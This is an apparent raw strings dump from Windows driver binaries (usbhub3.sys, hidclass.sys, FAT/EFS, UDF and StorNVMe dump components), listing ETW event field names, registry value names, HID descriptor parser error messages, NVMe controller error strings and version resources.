fid_UsbCPortCapabilitiesValid Data Name fid_Usb4Supported Data Name fid_PcieTunnelingSupported Data Name fid_Tbt3AltModeSupported Data Name fid_DpAltModeSupported Data Name fid_RetimerCount Data Name fid_UcmConnectorId Data Name fid_ControllerParentBusType Data Name fid_PciBus Data Name fid_PciDevice Data Name fid_PciFunction Data Name fid_PciVendorId Data Name fid_PciDeviceId Data Name fid_PciRevisionId Data Name fid_AcpiVendorId Data Name fid_AcpiDeviceId Data Name fid_AcpiRevisionId fid_UsbDevice fid_PortNumber fid_PortFlagAcpiUpcValid fid_PortConnectorType fid_UsbCPortCapabilitiesValid fid_Usb4Supported fid_PcieTunnelingSupported fid_Tbt3AltModeSupported fid_DpAltModeSupported fid_RetimerCount fid_UcmConnectorId fid_ControllerParentBusType fid_PciBus fid_PciDevice fid_PciFunction fid_PciVendorId fid_PciDeviceId fid_PciRevisionId fid_AcpiVendorId fid_AcpiDeviceId fid_AcpiRevisionId EventData Data Name fid_HubDevice Data Name fid_UsbDevice Data Name fid_PortNumber Data Name fid_NtStatus fid_HubDevice fid_UsbDevice fid_PortNumber fid_NtStatus EventData Data Name fid_UsbDevice Data Name fid_PortNumber Data Name fid_NtStatus fid_UsbDevice fid_PortNumber fid_NtStatus EventData Data Name fid_HubDevice Data Name fid_UsbDevice Data Name fid_PortNumber Data Name fid_DeviceDescription Data Name fid_DeviceInterfacePath ComplexData Name fid_DeviceDescriptor Data Name !fid_ConfigurationDescriptorLength Data Name fid_ConfigurationDescriptor Data Name fid_PdoName Data Name fid_Suspended Data Name fid_PortPathDepth Data Name fid_PortPath Data Name fid_PciBus Data Name fid_PciDevice Data Name fid_PciFunction Data Name fid_PciVendorId Data Name fid_PciDeviceId Data Name fid_PciRevisionId Data Name fid_CurrentWdfPowerDeviceState Data Name fid_Usb20LpmStatus fid_HubDevice fid_UsbDevice fid_PortNumber fid_DeviceDescription fid_DeviceInterfacePath fid_DeviceDescriptor fid_ConfigurationDescriptorLength fid_ConfigurationDescriptor fid_PdoName fid_Suspended fid_PortPathDepth fid_PortPath fid_PciBus fid_PciDevice fid_PciFunction fid_PciVendorId fid_PciDeviceId fid_PciRevisionId fid_CurrentWdfPowerDeviceState fid_Usb20LpmStatus fid_bLength fid_bDescriptorType fid_bcdUSB fid_bDeviceClass fid_bDeviceSubClass fid_bDeviceProtocol fid_bMaxPacketSize0 fid_idVendor fid_idProduct fid_bcdDevice fid_iManufacturer fid_iProduct fid_iSerialNumber fid_bNumConfigurations EventData Data Name fid_HubDevice Data Name fid_UsbDevice Data Name fid_PortNumber Data Name fid_DeviceDescription Data Name fid_DeviceInterfacePath ComplexData Name fid_DeviceDescriptor Data Name !fid_ConfigurationDescriptorLength Data Name fid_ConfigurationDescriptor Data Name fid_PdoName Data Name fid_Suspended Data Name fid_PortPathDepth Data Name fid_PortPath Data Name fid_PciBus Data Name fid_PciDevice Data Name fid_PciFunction Data Name fid_PciVendorId Data Name fid_PciDeviceId Data Name fid_PciRevisionId Data Name fid_CurrentWdfPowerDeviceState Data Name fid_Usb20LpmStatus Data Name fid_ControllerParentBusType Data Name fid_AcpiVendorId Data Name fid_AcpiDeviceId Data Name fid_AcpiRevisionId Data Name fid_PortFlagAcpiUpcValid Data Name fid_PortConnectorType Data Name fid_UcmConnectorId Data Name fid_GetFirmwareImageHashSupport Data Name !fid_DisallowFirmwareUpdateSupport Data Name fid_GetFirmwareHashNtStatus Data Name fid_GetFirmwareHashUsbdStatus fid_HubDevice fid_UsbDevice fid_PortNumber fid_DeviceDescription fid_DeviceInterfacePath fid_DeviceDescriptor fid_ConfigurationDescriptorLength fid_ConfigurationDescriptor fid_PdoName fid_Suspended fid_PortPathDepth fid_PortPath fid_PciBus fid_PciDevice fid_PciFunction fid_PciVendorId fid_PciDeviceId fid_PciRevisionId fid_CurrentWdfPowerDeviceState fid_Usb20LpmStatus fid_ControllerParentBusType fid_AcpiVendorId fid_AcpiDeviceId fid_AcpiRevisionId fid_PortFlagAcpiUpcValid fid_PortConnectorType fid_UcmConnectorId fid_GetFirmwareImageHashSupport fid_DisallowFirmwareUpdateSupport fid_GetFirmwareHashNtStatus fid_GetFirmwareHashUsbdStatus fid_bLength fid_bDescriptorType fid_bcdUSB fid_bDeviceClass fid_bDeviceSubClass fid_bDeviceProtocol fid_bMaxPacketSize0 fid_idVendor fid_idProduct fid_bcdDevice fid_iManufacturer fid_iProduct fid_iSerialNumber fid_bNumConfigurations EventData Data Name fid_HubDevice Data Name fid_UsbDevice Data Name fid_PortNumber Data Name fid_DeviceDescription Data Name fid_DeviceInterfacePath ComplexData Name fid_DeviceDescriptor Data Name !fid_ConfigurationDescriptorLength Data Name fid_ConfigurationDescriptor Data Name fid_PdoName Data Name fid_Suspended Data Name fid_PortPathDepth Data Name fid_PortPath Data Name fid_PciBus Data Name fid_PciDevice Data Name fid_PciFunction Data Name fid_PciVendorId Data Name fid_PciDeviceId Data Name fid_PciRevisionId Data Name fid_CurrentWdfPowerDeviceState Data Name fid_Usb20LpmStatus Data Name fid_ControllerParentBusType Data Name fid_AcpiVendorId Data Name fid_AcpiDeviceId Data Name fid_AcpiRevisionId Data Name fid_PortFlagAcpiUpcValid Data Name fid_PortConnectorType Data Name fid_UcmConnectorId fid_HubDevice fid_UsbDevice fid_PortNumber fid_DeviceDescription fid_DeviceInterfacePath fid_DeviceDescriptor fid_ConfigurationDescriptorLength fid_ConfigurationDescriptor fid_PdoName fid_Suspended fid_PortPathDepth fid_PortPath fid_PciBus fid_PciDevice fid_PciFunction fid_PciVendorId fid_PciDeviceId fid_PciRevisionId fid_CurrentWdfPowerDeviceState fid_Usb20LpmStatus fid_ControllerParentBusType fid_AcpiVendorId fid_AcpiDeviceId fid_AcpiRevisionId fid_PortFlagAcpiUpcValid fid_PortConnectorType fid_UcmConnectorId fid_bLength fid_bDescriptorType fid_bcdUSB fid_bDeviceClass fid_bDeviceSubClass fid_bDeviceProtocol fid_bMaxPacketSize0 fid_idVendor fid_idProduct fid_bcdDevice fid_iManufacturer fid_iProduct fid_iSerialNumber fid_bNumConfigurations EventData Data Name fid_UsbDevice Data Name fid_TargetState Data Name fid_PowerAction Data Name fid_WaitWakePending fid_UsbDevice fid_TargetState fid_PowerAction fid_WaitWakePending EventData Data Name fid_UsbDevice Data Name fid_PortNumber Data Name fid_PortStatus Data Name fid_PortChange fid_UsbDevice fid_PortNumber fid_PortStatus fid_PortChange EventData Data Name fid_PortNumber Data Name fid_PreviousPortStatus Data Name fid_CurrentPortStatus Data Name fid_CurrentPortChange Data Name fid_Event fid_PortNumber fid_PreviousPortStatus fid_CurrentPortStatus fid_CurrentPortChange fid_Event EventData Data Name fid_PortNumber Data Name fid_PreviousPortStatus Data Name fid_CurrentPortStatus Data Name fid_CurrentPortChange Data Name fid_Event Data Name fid_idVendor Data Name fid_idProduct Data Name fid_bcdDevice fid_PortNumber fid_PreviousPortStatus fid_CurrentPortStatus fid_CurrentPortChange fid_Event fid_idVendor fid_idProduct fid_bcdDevice EventData Data Name fid_UsbDevice Data Name fid_IoctlCode fid_UsbDevice fid_IoctlCode EventData Data Name fid_UsbDevice Data Name fid_IoctlCode Data Name fid_NtStatus fid_UsbDevice fid_IoctlCode fid_NtStatus EventData Data Name fid_UsbDevice Data Name fid_Capability Data Name fid_NtStatus fid_UsbDevice fid_Capability fid_NtStatus EventData Data Name fid_UsbDevice Data Name fid_UrbFunction fid_UsbDevice fid_UrbFunction EventData Data Name fid_UsbDevice Data Name fid_UrbFunction Data Name fid_UsbdStatus fid_UsbDevice fid_UrbFunction fid_UsbdStatus EventData Data Name fid_UsbDevice Data Name fid_Context Data Name fid_StartIndex Data Name fid_State Data Name fid_Event Data Name fid_Depth fid_UsbDevice fid_Context fid_StartIndex fid_State fid_Event fid_Depth EventData Data Name fid_UsbDevice Data Name fid_Context Data Name fid_StartIndex Data Name fid_State Data Name fid_Event Data Name fid_Depth fid_UsbDevice fid_Context fid_StartIndex fid_State fid_Event fid_Depth EventData Data Name fid_UsbDevice Data Name fid_PortNumber Data Name fid_UsbdStatus Data Name fid_NtStatus fid_UsbDevice fid_PortNumber fid_UsbdStatus fid_NtStatus EventData Data Name fid_UsbDevice Data Name fid_bNumberOfAlternateModes Data Name fid_bPreferredAlternateMode Data Name fid_VconnPower Data Name fid_AdditionalInfoUrlString fid_UsbDevice fid_bNumberOfAlternateModes fid_bPreferredAlternateMode fid_VconnPower fid_AdditionalInfoUrlString EventData Data Name fid_UsbDevice Data Name fid_Svid Data Name fid_AlternateMode Data Name fid_AlternateModeString Data Name fid_ConfigurationStatus fid_UsbDevice fid_Svid fid_AlternateMode fid_AlternateModeString fid_ConfigurationStatus EventData Data Name fid_UsbDevice Data Name fid_PortNumber fid_UsbDevice fid_PortNumber EventData Data Name fid_UsbDevice Data Name fid_PortNumber Data Name fid_NtStatus fid_UsbDevice fid_PortNumber fid_NtStatus EventData Data Name fid_UsbDevice Data Name fid_URB_Ptr ComplexData Name fid_USBPORT_URB_HEADER fid_UsbDevice fid_URB_Ptr fid_USBPORT_URB_HEADER fid_URB_Hdr_Length fid_URB_Hdr_Function fid_URB_Hdr_Status fid_URB_Hdr_UsbdDeviceHandle fid_URB_Hdr_UsbdFlags EventData Data Name fid_UsbDevice Data Name fid_DeviceIsComposite Data Name fid_DeviceWakeupSupport Data Name fid_InterfaceRemoteWakeupCapable fid_UsbDevice fid_DeviceIsComposite fid_DeviceWakeupSupport fid_InterfaceRemoteWakeupCapable EventData Data Name fid_HubDevice Data Name fid_CachedSerialNumber Data Name fid_CachedSerialNumberLength Data Name fid_NewSerialNumber Data Name fid_NewSerialNumberLength fid_HubDevice fid_CachedSerialNumber fid_CachedSerialNumberLength fid_NewSerialNumber fid_NewSerialNumberLength EventData Data Name fid_UsbDevice Data Name fid_IoctlCode Data Name fid_UrbFunction fid_UsbDevice fid_IoctlCode fid_UrbFunction EventData Data Name fid_UsbDevice Data Name fid_IoctlCode Data Name fid_UrbFunction Data Name fid_idVendor Data Name fid_idProduct Data Name fid_bcdDevice Data Name fid_EventCount fid_UsbDevice fid_IoctlCode fid_UrbFunction fid_idVendor fid_idProduct fid_bcdDevice fid_EventCount EventData Data Name fid_UsbDevice Data Name fid_DripsWatchdogResult Data Name fid_idVendor Data Name fid_idProduct Data Name fid_bcdDevice fid_UsbDevice fid_DripsWatchdogResult fid_idVendor fid_idProduct fid_bcdDevice EventData Data Name fid_UsbDevice Data Name fid_IsPortCycled Data Name fid_idVendor Data Name fid_idProduct Data Name fid_bcdDevice Data Name fid_enteringPowerLevel Data Name fid_status fid_UsbDevice fid_IsPortCycled fid_idVendor fid_idProduct fid_bcdDevice fid_enteringPowerLevel fid_status EventData Data Name fid_UsbDevice Data Name fid_EnumMsgId Data Name fid_idVendor Data Name fid_idProduct Data Name fid_bcdDevice Data Name fid_DeviceSpeed Data Name fid_NtStatus Data Name fid_UsbdStatus Data Name fid_PortNumber Data Name fid_TotalHubDepth Data Name fid_PortProtocol Data Name fid_PreviousPortStatus Data Name fid_CumulativePortChange Data Name fid_CurrentFeatureSelector Data Name fid_bNumberOfPorts Data Name fid_ControllerParentBusType Data Name fid_PciBus Data Name fid_PciDevice Data Name fid_PciFunction Data Name fid_PciVendorId Data Name fid_PciDeviceId Data Name fid_PciRevisionId Data Name fid_AcpiVendorId Data Name fid_AcpiDeviceId Data Name fid_AcpiRevisionId Data Name fid_idVendorParentHub Data Name fid_idProductParentHub Data Name fid_bcdDeviceParentHub fid_UsbDevice fid_EnumMsgId fid_idVendor fid_idProduct fid_bcdDevice fid_DeviceSpeed fid_NtStatus fid_UsbdStatus fid_PortNumber fid_TotalHubDepth fid_PortProtocol fid_PreviousPortStatus fid_CumulativePortChange fid_CurrentFeatureSelector fid_bNumberOfPorts fid_ControllerParentBusType fid_PciBus fid_PciDevice fid_PciFunction fid_PciVendorId fid_PciDeviceId fid_PciRevisionId fid_AcpiVendorId fid_AcpiDeviceId fid_AcpiRevisionId fid_idVendorParentHub fid_idProductParentHub fid_bcdDeviceParentHub EventData Data Name fid_UsbDevice Data Name fid_idVendor Data Name fid_idProduct Data Name fid_bcdDevice Data Name fid_DeviceSpeed Data Name fid_bEndpointAddress Data Name fid_bInterfaceNumber1 Data Name fid_bAlternateSetting1 Data Name fid_bInterfaceNumber2 Data Name fid_bAlternateSetting2 fid_UsbDevice fid_idVendor fid_idProduct fid_bcdDevice fid_DeviceSpeed fid_bEndpointAddress fid_bInterfaceNumber1 fid_bAlternateSetting1 fid_bInterfaceNumber2 fid_bAlternateSetting2 EventData Data Name fid_HubDevice Data Name fid_FwUpdateDevice Data Name fid_FwUpdateProtocol Data Name fid_CurrentWdfPowerDeviceState fid_HubDevice fid_FwUpdateDevice fid_FwUpdateProtocol fid_CurrentWdfPowerDeviceState EventData Data Name fid_HubDevice Data Name fid_FwUpdateDevice Data Name fid_FwUpdateProtocol Data Name fid_NtStatus fid_HubDevice fid_FwUpdateDevice fid_FwUpdateProtocol fid_NtStatus EventData Data Name fid_HubDevice Data Name fid_FwUpdateDevice Data Name fid_WdfPowerDeviceState Data Name fid_PowerAction fid_HubDevice fid_FwUpdateDevice fid_WdfPowerDeviceState fid_PowerAction EventData Data Name fid_HubDevice Data Name fid_FwUpdateDevice Data Name fid_UrbFunction Data Name fid_UsbdStatus fid_HubDevice fid_FwUpdateDevice fid_UrbFunction fid_UsbdStatus EventData Data Name fid_HubDevice Data Name fid_FwUpdateDevice Data Name fid_IoctlCode Data Name fid_NtStatus fid_HubDevice fid_FwUpdateDevice fid_IoctlCode fid_NtStatus EventData Data Name fid_HubDevice Data Name fid_RemoteTarget Data Name fid_ParentDeviceObject fid_HubDevice fid_RemoteTarget fid_ParentDeviceObject EventData Data Name fid_HubDevice Data Name fid_ParentDeviceObject Data Name fid_NtStatus fid_HubDevice fid_ParentDeviceObject fid_NtStatus EventData Data Name fid_HubDevice Data Name fid_Status Data Name fid_idVendor Data Name fid_idProduct Data Name fid_bcdDevice fid_HubDevice fid_Status fid_idVendor fid_idProduct fid_bcdDevice Microsoft-Windows-USB-USBHUB3 win:Start win:Stop START ERROR COMPLETE DISPATCH REMOVE INFORMATION QUEUE WARNING win:Error win:Warning win:Informational USBHUB3_RUNDOWN USBHUB3_PREPARE_HARDWARE USBHUB3_ADD_DEVICE USBHUB3_RELEASE_HARDWARE USBHUB3_D0_ENTRY USBHUB3_D0_EXIT USBHUB3_SURPRISE_REMOVAL USBHUB3_CLEANUP USBHUB3_ENUMERATION USBHUB3_DESCRIPTOR_VALIDATION USBHUB3_CLIENT_REQUEST USBHUB3_PORT USBHUB3_STATE_MACHINE USBHUB3_HUB_RESET USBHUB3_CONTROL_TRANSFER USBHUB3_USER_MODE_IOCTL USBHUB3_ILLEGAL_ENDPOINT_SHARING_ACROSS_INTERFACES USBHUB3_USB4_POWER_RELATIONS Default USBError Power Performance HeadersBusTrace PartialDataBusTrace FullDataBusTrace StateMachine Enumeration VerifyDriver HWVerifyHost HWVerifyHub HWVerifyDevice Rundown Device Compat ControllerCommand ms:ReservedKeyword44 ms:Telemetry ms:Measures ms:CriticalData VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription USB3 HUB Driver FileVersion 10.0.26100.7705 (WinBuild.160101.0800) InternalName usbhub3.sys LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename usbhub3.sys ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7705 VarFileInfo Translation WEVT_TEMPLATE en-US USB:USB\VID_%04X&PID_%04X&REV_%04X USB:USB\VID_%04X&PID_%04X OriginalConfigurationValue &MI_%02x XEnumeratorClass USBMI(%d) USB(%d) UsbccgpCapabilities IdleTimeoutPeriodInMilliSec %4.4x.%4.4x.%4.4x.%3.3d.%3.3d.%3.3d.%3.3d.%3.3d.%3.3d &MAUSB&MI_%02x &PI_%02x IoOpenDriverRegistryKey UsbVerifierStaticStreamCountOverride UsbVerifierFailEnableStaticStreams UsbVerifierFailSecureTransferSupport UsbVerifierFailRegistration UsbVerifierFailStaticStreamSupport UsbVerifierEnabled UsbVerifierFailChainedMdlSupport \Driver\ USB\MS_COMP_ &MS_SUBCOMP_ DeviceSelectiveSuspended SelSuspCancelBehavior e5b3b5ac-9725-4f78-963f-03dfb1d828c7 D3ColdSupported AllowIdleIrpInD3 \Registry\Machine\System\CurrentControlSet\Control\Print\Monitors\USB Monitor\IppUsbAltIndex\VID_%04X&PID_%04X BULK_IN VIDEO NULL RtlQueryRegistryValuesEx usbflags GenericCompositeUSBDeviceString PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EndpointPriorities USB\Class_%02x&SubClass_%02x BULK_OUT INTERRUPT_IN INTERRUPT_OUT ISOCHRONOUS_IN ISOCHRONOUS_OUT VOICE INTERACTIVE EtwUnregister KseQueryDeviceFlags AltConfigurationValue 0000 %04x USB\Class_%02X&Subclass_%02X&Prot_%02X&%wZ%cUSB\Class_%02X&Subclass_%02X&%wZ%cUSB\Class_%02X&%wZ EnumeratorFlag 0123456789abcdef MiniNT \Registry\Machine\Software\Policies\Microsoft\Windows NT\Printers\WPP WindowsProtectedPrintMode \Registry\Machine\System\CurrentControlSet\Control\Print\Monitors\WinUsbMon\OptInModels VID_%04X&PID_%04X CdcFlags USB\Vid_%04x&Pid_%04x&Rev_%04x&MI_%02x USB\Vid_%04x&Pid_%04x&Rev_%04x&Cdc_%02x&MI_%02x USB\Vid_%04x&Pid_%04x&Rev_%04x&Cdc_Modem&MI_%02x USB\Vid_%04x&Pid_%04x&Rev_%04x&WPD_OBEX&MI_%02x USB\Vid_%04x&Pid_%04x&MI_%02x USB\Vid_%04x&Pid_%04x&Rev_%04x&Cdc_%02x USB\Vid_%04x&Pid_%04x&Rev_%04x&Cdc_Modem USB\Vid_%04x&Pid_%04x&Rev_%04x&WPD_OBEX USB\Vid_%04x&Pid_%04x&Cdc_%02x&MI_%02x USB\Vid_%04x&Pid_%04x&Cdc_Modem&MI_%02x USB\Vid_%04x&Pid_%04x&WPD_OBEX&MI_%02x USB\Vid_%04x&Pid_%04x&Cdc_%02x USB\Vid_%04x&Pid_%04x&Cdc_Modem USB\Vid_%04x&Pid_%04x&WPD_OBEX USB\Class_%02x&SubClass_%02x&Prot_%02x USB\Class_%02x&SubClass_Modem&Prot_%02x USB\Class_%02x&WPD_OBEX USB\Class_%02x&SubClass_Modem USB\Class_%02x \Parameters VendorRevision USB\COMPAT_VID_nnnn&Class_nn&SubClass_nn&Prot_nn USB\COMPAT_VID_nnnn&Class_nn&SubClass_nn USB\COMPAT_VID_nnnn&Class_nn USB\Class_nn&SubClass_nn&Prot_nn USB\Class_nn&SubClass_nn USB\Class_nn DeviceInterfaceGuid {6AA3BDAC-3C99-4BA3-B2CA-A751DB8B808D} ExtPropDescSemaphore RevisionId PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EtwUnregister \Registry\Machine\System\CurrentControlSet\Control\Class\%ws UpperFilters LowerFilters HID:USB\VID_%04X&PID_%04X&REV_%04X HID:USB\VID_%04X&PID_%04X HID_DEVICE_UP:%04x_U:%04x HID_DEVICE HID\VID_%04X&UP:%04X_U:%04X HID_DEVICE_SYSTEM_KEYBOARD HID\ &Colxx 0000 %04x RemoteWakeEnabled SessionSecurityEnabled WinRtInterfaceRestrictionLevel %s#COLLECTION%08x 0123456789ABCDEF WriteReportExSupported DeviceResetNotificationEnabled RetainWWIrpWhenDeviceAbsent RtlQueryRegistryValuesEx NULL FastResumeDisable \Device\_ ComboHardwareIdV2Enabled CollectionReenumerateSelfInterfaceEnabled SelectiveSuspendOn PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EtwUnregister HID\VID_%04X&PID_%04X&Col%02X&UP:%04X_U:%04X HID\VID_%04X&PID_%04X&UP:%04X_U:%04X HID_DEVICE_SYSTEM_MOUSE HID_DEVICE_SYSTEM_GAME HID_DEVICE_SYSTEM_CONTROL HID_DEVICE_SYSTEM_CONSUMER HID_DEVICE_UPR:FF00-FFFF @System32\drivers\hidclass.sys %s,#%d;%s %wZ (%s) Collection Not Started Hardware IO Software IO Internal Error: Po Callback Pending EPM Disabled \Device\_HID%08x PolledDevice EnhancedPowerManagementUseMonitor EnhancedPowerManagementEnabled WakeScreenOnInputTimeout WakeScreenOnInputSupport SelectiveSuspendTimeout SelectiveSuspendEnabled SystemInputSuppressionEnabled SuppressInputInCS TestIdleTimeoutNoHandles TestIdleTimeoutNoHandlesInitial FullPowerDownOnTransientDx TestIdleMonitorDim Sleepstudy Unsupported RtlQueryModuleInformation TELASSERT NumLargeEventFailures NumAllocationFailures SummaryCount MaxEntriesFlushed TotalEntriesFlushed NumBucketLimitReached MinEntriesFlushed MaxEntriesStored NumFlushes WEVT_TEMPLATE Start Stop Information Insufficient resources to allocate needed memory. Insufficient resources to make top level collection. Extra end collection found or end collection not found. Couldn't allocate memory for preparse data. One byte was expected in the report descriptor but not found. Two bytes were expected in the report descriptor but not found. Four bytes were expected in the report descriptor but not found. Report was not byte aligned. A non constant main item was declaired without a corresponding usage. A top level collection was declared without a usage or with more than one usage. An unknown item was found in the report descriptor. Report ID declaration found outside of top level collection. A bad report ID value was found.Report IDs must be within the range of 1-255. The parser discovered a top level collection in a complex device (more than one top level collection) that had no declared report ID or a report ID spanned multiple collections. The default report ID is only allowed for devices with one top-level collection and don't have any report IDs explicitly declared. No top level collections were found in this device. A main item was detected outside of a top level collection. A start delimiter token was found with no corresponding end delimiter. The parser detected a non-usage item with a delimiter declaration. The parser detected either a close delimiter without a corresponding open delimiter or detected a nested open delimiter. The given report descriptor was found to have a valid report descriptor containing a scenario that this parser does not support. Information HIDCLASS Rundown This is the Analytic channel to which internal Analytic events from the HIDCLASS driver are sent. Start Rundown Complete Rundown HIDCLASS device information Unspecified Microsoft-Windows-Input-HIDCLASS-Analytic DevicePowerStateMap EventData Data Name DeviceObject Data Name VendorID Data Name ProductID Data Name VersionNumber Data Name ReportDescriptorLength Data Name ReportDescriptor DeviceObject VendorID ProductID VersionNumber ReportDescriptorLength ReportDescriptor EventData Data Name DeviceObject Data Name PhysicalDeviceObject Data Name VendorID Data Name ProductID Data Name VersionNumber Data Name DeviceInstancePath Data Name DeviceDescription Data Name DeviceServiceName Data Name DeviceUpperFilters Data Name DeviceLowerFilters Data Name CollectionCount Data Name ReportDescriptorLength Data Name ReportDescriptor Data Name DevicePowerState Data Name StateMachineCurrentState Data Name OpenCount Data Name LastReadReportSuccessTime Data Name NumReadReports Data Name NumReadReportsSinceStart Data Name NumReadReportsSincePresence Data Name NumReadReportsSinceD0 Data Name NumReadReportsSinceCaptureState ComplexData Name Collections DeviceObject PhysicalDeviceObject VendorID ProductID VersionNumber DeviceInstancePath DeviceDescription DeviceServiceName DeviceUpperFilters DeviceLowerFilters CollectionCount ReportDescriptorLength ReportDescriptor DevicePowerState StateMachineCurrentState OpenCount LastReadReportSuccessTime NumReadReports NumReadReportsSinceStart NumReadReportsSincePresence NumReadReportsSinceD0 NumReadReportsSinceCaptureState Collections CollectionNumber UsagePage Usage OpenCount LastReadReportTime NumReadReports NumReadReportsSinceStart NumReadReportsSincePresence NumReadReportsSinceD0 NumReadReportsSinceOpenForRead NumReadReportsSinceCaptureState EventData Data Name DeviceStartStatus Data Name VendorID Data Name ProductID Data Name VersionNumber Data Name DeviceInstancePath Data Name DeviceDescription Data Name DeviceServiceName Data Name DeviceUpperFilters Data Name DeviceLowerFilters Data Name CollectionCount Data Name ReportDescriptorLength Data Name ReportDescriptor Data Name DevicePowerState Data Name StateMachineCurrentState Data Name OpenCount Data Name LastReadReportSuccessTime Data Name NumReadReports Data Name NumReadReportsSinceStart Data Name NumReadReportsSincePresence Data Name NumReadReportsSinceD0 Data Name NumReadReportsSinceCaptureState ComplexData Name Collections DeviceStartStatus VendorID ProductID VersionNumber DeviceInstancePath DeviceDescription DeviceServiceName DeviceUpperFilters DeviceLowerFilters CollectionCount ReportDescriptorLength ReportDescriptor DevicePowerState StateMachineCurrentState OpenCount LastReadReportSuccessTime NumReadReports NumReadReportsSinceStart NumReadReportsSincePresence NumReadReportsSinceD0 NumReadReportsSinceCaptureState Collections CollectionNumber UsagePage Usage OpenCount LastReadReportTime NumReadReports NumReadReportsSinceStart NumReadReportsSincePresence NumReadReportsSinceD0 NumReadReportsSinceOpenForRead NumReadReportsSinceCaptureState Microsoft-Windows-Input-HIDCLASS win:Start win:Stop INFORMATION win:Informational HIDCLASS_RUNDOWN Default VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Hid Class Library FileVersion 10.0.26100.7705 (WinBuild.160101.0800) InternalName hidclass.sys LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename hidclass.sys ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7705 VarFileInfo Translation WEVT_TEMPLATE en-US PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EtwUnregister UseOnlyMice TreatAbsoluteAsRelative TreatAbsolutePointerAsAbsolute Kernel-OneCore-DeviceFamilyID FlipFlopWheel FlipFlopHScroll WheelScalingFactor HScrollScalingFactor VScrollHighResolutionDisable VScrollPageOverride VScrollUsageOverride HScrollHighResolutionDisable HScrollPageOverride HScrollUsageOverride NtQuerySystemInformation .PFILE $EFS \Fat \FatCdrom FatEnableEfs Fat12DisableFlushOnCleanup Win31FileSystem FatDisableCodePageInvariance \Registry\Machine\System\CurrentControlSet\Control\FileSystem \Registry\Machine\Hardware\DESCRIPTION\System Identifier FUJITSU FMR- FAT32 (null) \Registry\Machine\System\CurrentControlSet\Services\NTFS\EFS\Parameters MaximumBlob EFSKCACHEPERIOD \Device\KsecDD \EFSInitEvent \Registry\Machine\Software \Registry\Machine\Software\Policies\Microsoft\Windows NT\CurrentVersion\EFS EfsOptions EdpExcludedExtensions EdpExcludedPaths SP800_108_CTR_HMAC ObjectLength SHA256 HashDigestLength ChainingModeCBC ChainingMode BlockLength XTS-AES MessageBlockLength ChainingModeECB DESX KeyDataBlob part Override flag is set Override flag is not set \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\EFS\Overrides NoCryptoOffload EDP://EvaluationFlags EDP://ExemptEnterpriseIds EDP://EnterpriseIds EDP://PolicyFlags PEDP://IntentEnterpriseId Locked Unlocked Invalid value for Dpl State SummaryCount NumLargeEventFailures NumAllocationFailures NumBucketLimitReached MinEntriesFlushed MaxEntriesFlushed TotalEntriesFlushed MaxEntriesStored NumFlushes >>>>>>>>.>>> $EFS NULL VIDEO_TS _UDF Unique ID Mapping Data#2F9B :$DATA :$INDEX :$SECURITY_DESCRIPTOR :$UNIQUE_ID_MAP$ :$VMCB$ :$BITMAP$ :$SPARINGTABLE$ :$ICBEXTCONTAINER$ :$ICBBITMAP$ :$VAT$ :$VPART$ :$SYSSTREAMDIR$ :&METADATAFILE$ :&METADATAMIRROR$ :&METADATABITMAP$ PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EtwUnregister Start WMI\GlobalLogger\ Flags Level \UdfsCdRom \UdfsDisk \Registry\Machine\System\CurrentControlSet\Control\FileSystem UdfsCloseSessionOnEject UdfsSoftwareDefectManagement RtlQueryRegistryValuesEx e... Controller Reset failed due to surprise remove Controller Reset failed IO Submission Queue deletion failed IO Completion Queue deletion failed !"#$%&'()*+,-./0123456789:;< VS_VERSION_INFO StringFileInfo 000004B0 CompanyName Microsoft Corporation FileDescription Storport Dump Driver FileVersion 10.0.26100.7705 (WinBuild.160101.0800) InternalName dumpstorport.sys LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename dumpstorport.sys ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7705 VarFileInfo Translation IO queues sync creation failed SrbStatus Admin Cmd Error Handle Cmd OpCode IO Submission Queue deletion failed IO Completion Queue deletion failed Allocate IO queues failed Controller Fatal Status is set NVMe Controller Config DevPoll_Hints DevPoll_Size DevPoll_Count DevPoll_Ver Polling_Hints Polling_Size Percent_Count NVMe Controller Config - Polling ControllerStates Read PCI Configuration failed MLBAR/MUBAR is not valid StorPort get uncached extension failed Controller reset failed Controller initialize part1 failed D0 Latency NVMe Power Transition D3 Latency No HostMemoryBuffer Disable HostMemoryBuffer succeeded Disable HostMemoryBuffer failed IdentityInformation ControllerErrorState RevisionID DeviceID VendorID Skip NVMe Power Down during KSR ControllerResetFailureCount PLDRFailureCount BusSpecificResetFailureCount FLRFailureCount InterlockedFlags StorStatus Reset Type NVMe hardware reset failed Total message count CE 1 processor count CE 0 processor count CE 1 CQ count CE 0 CQ count Total CQ Count Total SQ Count Current SQ ID Dedicated Io SQ Count Io SQ Count Message ID CQ ID Io SQ to CQ Mapping CQ count is 0 for CE 0 or CE 1 Class efficiency 1: No CQ Found Class efficiency 0: No CQ Found No progress for queue mapping Io SQ to CQ Mapping: No CQ Found SQ Count CQ Count Latency IOQ-Async Latency Allocated SQ Count Allocated CQ Count ErrorState ReturnState IOQ-Async Creation Failed IOQ-Sync Latency FailureReason ControllerState AER Limit Failed to Allocate Async Event Commands AERToAllocate AdminQueueDepth OrdinaryAERCount MaxChildControllerCount Insufficient admin queue depth for MFND AER InsufficientAdminQueueDepth InsufficientNonPagedPool InsufficientDMABuffer AERLimitTooSmall FailureReasonUnknown Failed to allocate AER for MFND StorNVMe Admin Queue Initialize failed Controller enable failed Identify controller failed Get processor information failed Get interrupt message information failed Initialize perf options failed Initialize IO queues failed Initialize reserved IO queues failed IO queues async creation failed Srb Status Controller Set-Feature Host Identifier Failed Controller Panic, No Action required Controller Panic, Format NVM required Controller Panic, Vendor Specific Command required Controller Panic, Vendor Analysis required Controller Panic, Device Replacement 